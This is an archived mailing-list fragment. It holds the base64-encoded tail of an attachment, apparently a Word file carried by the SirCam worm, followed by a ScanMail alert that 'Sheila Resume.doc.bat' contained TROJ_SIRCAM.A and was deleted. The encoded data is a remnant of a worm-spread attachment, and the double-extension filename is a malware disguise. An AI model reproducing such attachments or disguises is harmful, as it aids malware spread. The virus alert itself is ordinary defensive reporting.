AAAAAAAAGAMAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAEMoNRVvwQgN8DAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8SAAAAAAAAAA4AUwBIAEUASQBMAEEAIABWAEEA TABFAE4AVABFAAAAAAAAAAIAQQBsAAIAQQBsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAARaAgAAAAAAAAAAAAAAAAAAAAAA AQAAAOCFn/L5T2gQq5EIACsns9kwAAAAbAEAABEAAAABAAAAkAAAAAIAAACYAAAAAwAAALAA AAAEAAAAvAAAAAUAAADIAAAABgAAANQAAAAHAAAA4AAAAAgAAAD0AAAACQAAAAABAAASAAAA DAEAAAoAAAAoAQAADAAAADQBAAANAAAAQAEAAA4AAABMAQAADwAAAFQBAAAQAAAAXAEAABMA AABkAQAAAgAAAOQEAAAeAAAADwAAAFNIRUlMQSBWQUxFTlRFAAAeAAAAAQAAAABIRUkeAAAA AwAAAEFsAEkeAAAAAQAAAABsAEkeAAAAAQAAAABsAEkeAAAACwAAAE5vcm1hbC5kb3QATh4A AAADAAAAQWwAbR4AAAACAAAAMgAAbR4AAAATAAAATWljcm9zb2Z0IFdvcmQgOS4wAABAAAAA AEbDIwAAAABAAAAAAFwECs6bwAFAAAAAAFwECs6bwAEDAAAAAQAAAAMAAABZAgAAAwAAAGYN AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAEWgIAAAAAAAAAAAAAAAAAAAAAAAEAAAAC1c3V nC4bEJOXCAArLPmuMAAAAPgAAAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUAAAB8AAAABgAAAIQA AAARAAAAjAAAABcAAACUAAAACwAAAJwAAAAQAAAApAAAABMAAACsAAAAFgAAALQAAAANAAAA vAAAAAwAAADXAAAAAgAAAOQEAAAeAAAAAQAAAAAAQQADAAAAHAAAAAMAAAAGAAAAAwAAAHQQ AAADAAAAoAoJAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAAPAAAA U0hFSUxBIFZBTEVOVEUADBAAAAIAAAAeAAAABgAAAFRpdGxlAAMAAAABAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAA CwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAD+////FAAAABUAAAAWAAAAFwAAABgA AAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAA JgAAACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMA AAD+////NQAAADYAAAA3AAAAOAAAADkAAAA6AAAAOwAAAP7///89AAAAPgAAAD8AAABAAAAA QQAAAEIAAABDAAAA/v////3///9GAAAA/v////7////+//////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4A dAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB //////////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAGBM4A/Om8ABSAAAAIAA AAAAAAAAMQBUAGEAYgBsAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA4AAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAATAAAA3EEAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQUAAAD//////////wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsJAAAAAAAAAUAUwB1AG0A bQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAoAAIBAgAAAAQAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA NAAAAAAQAAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIA bQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAABAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAQEAAAAGAAAA /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABqAAAAAAAAAE8A YgBqAGUAYwB0AFAAbwBvAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAWAAEA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAABgTOAPzpvAAWBM 4A/Om8ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/v////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////wEA/v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYYAAAATWljcm9zb2Z0IFdv cmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= --Boundary_(ID_OjvsFPXtWViT6brjbFw1dg) Content-type: TEXT/PLAIN Content-transfer-encoding: 7BIT --Boundary_(ID_OjvsFPXtWViT6brjbFw1dg)-- From java-return-6564-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 01:01:55 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8292 invoked by alias); 23 Jul 2001 01:01:55 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8217 invoked from network); 23 Jul 2001 01:01:51 -0000 Received: from unknown (HELO fw06.omnisource.com) (208.153.194.222) by sourceware.cygnus.com with SMTP; 23 Jul 2001 01:01:51 -0000 Received: from 128.5.18.0 by fw06.omnisource.com (InterScan E-Mail VirusWall NT); Sun, 22 Jul 2001 20:02:12 -0500 Received: by FW00 with Internet Mail Service (5.5.2650.21) id ; Sun, 22 Jul 2001 20:02:12 -0500 Message-ID: From: System Attendant To: "'java@gcc.gnu.org'" Subject: ScanMail Message: To Recipient virus found and action taken. Date: Sun, 22 Jul 2001 20:02:06 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C11313.1AF14D54" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C11313.1AF14D54 Content-Type: text/plain ScanMail for Microsoft Exchange has detected virus-infected attachment(s). Sender = al valente Recipient(s) = java@gcc.gnu.org Subject = Sheila Resume Scanning Time = 07/22/2001 20:02:06 Action on virus found: The attachment Sheila Resume.doc.bat exists TROJ_SIRCAM.A virus. ScanMail has Deleted it. Warning to recipient. ScanMail has detected a virus. 07/22/200108:02 PM al valente Sheila Resume [Sheila Resume.doc.bat/Deleted] ------_=_NextPart_001_01C11313.1AF14D54 Content-Type: text/html ScanMail Message: To Recipient virus found and action taken.

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = al valente
Recipient(s) = java@gcc.gnu.org
Subject = Sheila Resume
Scanning Time = 07/22/2001 20:02:06

Action on virus found:
The attachment Sheila Resume.doc.bat exists TROJ_SIRCAM.A virus. ScanMail has Deleted it.

Warning to recipient. ScanMail has detected a virus.
07/22/200108:02 PM
al valente
Sheila Resume
[Sheila Resume.doc.bat/Deleted]

